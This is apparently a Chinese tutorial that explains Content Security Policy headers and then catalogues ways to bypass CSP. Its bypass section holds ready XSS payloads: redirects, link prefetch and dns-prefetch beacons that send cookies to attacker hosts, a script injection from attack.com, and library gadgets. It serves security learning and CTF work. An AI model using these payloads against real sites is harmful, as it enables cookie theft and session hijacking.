CSP的基础
CSP的全称Content Security Policy,用来防御XSS攻击的技术。它是一种由开发者定义的安全性政策性申明,通过CSP指定可信的内容来源,让WEB处于一个安全的运行环境中。
一个CSP头由多组CSP策略组成,中间由分号分隔,如下所示:1
Content-Security-Policy: default-src 'self' www.baidu.com; script-src 'unsafe-inline'
其中每一组策略包含一个策略指令和一个内容源列表。策略指令有如下选项:
指令 | 说明 |
---|---|
default-src | 定义资源默认加载策略 |
connect-src | 定义 Ajax、WebSocket 等加载策略 |
child-src | child-src 指定定义了 web workers 以及嵌套的浏览上下文(如frame和iframe)的源 |
font-src | 定义 Font 加载策略 |
frame-src | 定义 Frame 加载策略 |
img-src | 定义图片加载策略 |
media-src | 定义 \ |
object-src | 定义 \ |
script-src | 定义 JS 加载策略 |
style-src | 定义 CSS 加载策略 |
sandbox | 值为 allow-forms,对资源启用 sandbox |
report-uri | 值为 /report-uri,提交日志 |
内容源有如下选项:
源 | 说明 |
---|---|
* | 通配符,允许任何URL,除了data: blob: filesystem: schemes |
*.foo.com | 允许加载foo.com子域的资源 |
abc.foo.com | 只能加载这个域名下的资源 |
https://a.com | 只能用HTTPS加载域名下的资源 |
https: | 通过HTTPS可以加载任意域名下的资源 |
‘none’ | 代表空集,即不匹配任何URL,两侧单引号是必须的 |
‘self’ | 代表和文档同源,包括相同的URL协议和端口号,两侧单引号是必须的 |
‘unsafe-inline’ | 允许使用内联资源,如内联的<script> 元素、javascript: URL、内联的事件处理函数和内联的<style> 元素,两侧单引号是必须的 |
‘unsafe-eval’ | 允许使用 eval() 等通过字符串创建代码的方法,两侧单引号是必须的 |
data: | 允许data: URI作为内容来源 |
mediastream: | 允许mediastream: URI作为内容来源 |
内容源有三种:源列表、关键字和数据,其中,.foo.com,abc.foo.com,https://a.com ,https:属于源列表。’none’,’self’,’unsafe-inline’,’unsafe-eval’属于关键字。data:,mediastream:属于数据。
例子11
Content-Security-Policy: default-src 'self' trustedscripts.foo.com
意思就是默认的内容源必须为同源或者是 trustedscripts.foo.com
例子21
Content-Security-Policy: default-src 'self'; img-src 'self' data:; media-src mediastream:
图片源可以为同源内容或者是data:引用的资源,媒体源必须使用mediastream:引用,除此以外的都执行默认内容源判断,必须为同源内容。
CSP的进化–nonce script CSP和strict-dynamic
nonce script CSP
动态生成nonce字符串,只有包含nonce字段并字符串相等的script块可以被执行1
2
3
4
Header("Content-Security-Policy: script-src 'nonce-".$random." '");
<script nonce="<?php echo $random?>">
这个字符串可以在后端实现,每次请求都重新生成,这样就可以无视哪个域是可信的,保证所加载的任何资源都是可信的,并且还能拦截后面插入的script。
strict-dynamic
1 | Content-Security-Policy: default-src 'self'; script-src 'strict-dynamic' |
SD意味着可信js生成的js代码是可信的。
这个CSP规则主要是用来适应各种各样的现代前端框架,通过这个规则,可以大幅度避免因为适应框架而变得松散的CSP规则。
CSP Bypass的方法总结
CSP对前端攻击的防御主要有两个:
- 1.限制js的执行。
- 2.限制对不可信域的请求。
接下来的多种Bypass手段也是围绕这两种的
url跳转
在default-src ‘none’的情况下,可以使用meta标签实现跳转1
<meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >
在允许unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过1
2
3<script>
window.location="http://www.xss.com/x.php?c=[cookie]";
</script>
\标签配合站内的某些可控JS点击操作来跳转1
2
3
4<script>
$(#foo).click()
</script>
<a id="foo" href="xxxxx.com">
利用网站本身的跳转接口
1 | http://foo.com/jmp.php?url=attack.com |
\标签预加载
CSP对link标签的预加载功能考虑不完善。在Chrome下,可以使用如下标签发送cookie或者其他数据1
<link rel="prefetch" href="http://www.xss.com/x.php?c=[cookie]">
在Firefox下无法用prefetch,因为Firefox有更高的安全规范,但是我们可以使用其他的方式,比如dns-prefetch,将cookie作为子域名,用dns预解析的方式把cookie带出去,查看dns服务器的日志就能得到cookie1
<link rel="dns-prefetch" href="//[cookie].xxx.ceye.io">
link标签除了这两种rel,还有preconnect、prerender、subresource、preload等
利用浏览器补全
有些网站限制只有某些脚本才能使用,往往会使用<script>
标签的nonce属性,只有nonce一致的脚本才生效,比如CSP设置成下面这样1
Content-Security-Policy: default-src 'none';script-src 'nonce-abc'
那么当脚本插入点为如下的情况时1
2<p>插入点</p>
<script nonce="abc">document.write('CSP');</script>
可以插入1
<script src=//attack.com a="
这里利用浏览器的容错机制会拼成一个新的script标签,其中的src可以自由设定1
2<p><script src=//attack.com a="</p>
<script" nonce="abc">document.write('CSP');</script>
代码重用
Blackhat2017上有篇ppt总结了可以被用来绕过CSP的一些JS库。
例如假设页面中使用了Jquery-mobile库,并且CSP策略中包含”script-src ‘unsafe-eval’”或者”script-src ‘strict-dynamic’”,那么下面的向量就可以绕过CSP1
<div data-role=popup id='<script>alert(1)</script>'></div>
在这个PPT之外的还有一些库也可以被利用,例如RCTF2018中遇到的amp库,下面的标签可以获取名字为FLAG的cookie1
<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>
文件上传
1 | Content-Security-Policy: default-src 'self'; script-src 'self' |
内网存在上传点,上传文件会被重写为文件,link包含形成xss漏洞1
<link rel='import' href='/upload/xxxxx'>
使用 Wave 文件绕过 (后端会进行文件格式校验)1
<script src="https://xx/uploads/xx.wave"></script>
在绕过文件格式检查之后,js 会根据文件格式给定一个 MIME-TYPE,在带入 src 属性的时候,audio 的 Type 会和可执行脚本产生冲突,因此 wav 文件无法代入,而 wave 在 MIME 转换的名单之外,因此在上传成功 wave 文件时,其 MIME-TYPE 并不会与 src 冲突
此外还有:
利用CSS 静态xss 获取nonce值
利用跨域传输数据 0ctf https://lorexxar.cn/2018/04/10/0ctf2018-club2/
利用CSS 静态xss 获取nonce值 https://hurricane618.me/2018/06/30/csp-bypass-summary/#%E5%88%A9%E7%94%A8CSS-%E9%9D%99%E6%80%81xss-%E8%8E%B7%E5%8F%96nonce%E5%80%BC
meta标签 https://www.jianshu.com/p/f1de775bc43e
利用文件上传执行JS
base标签
iframe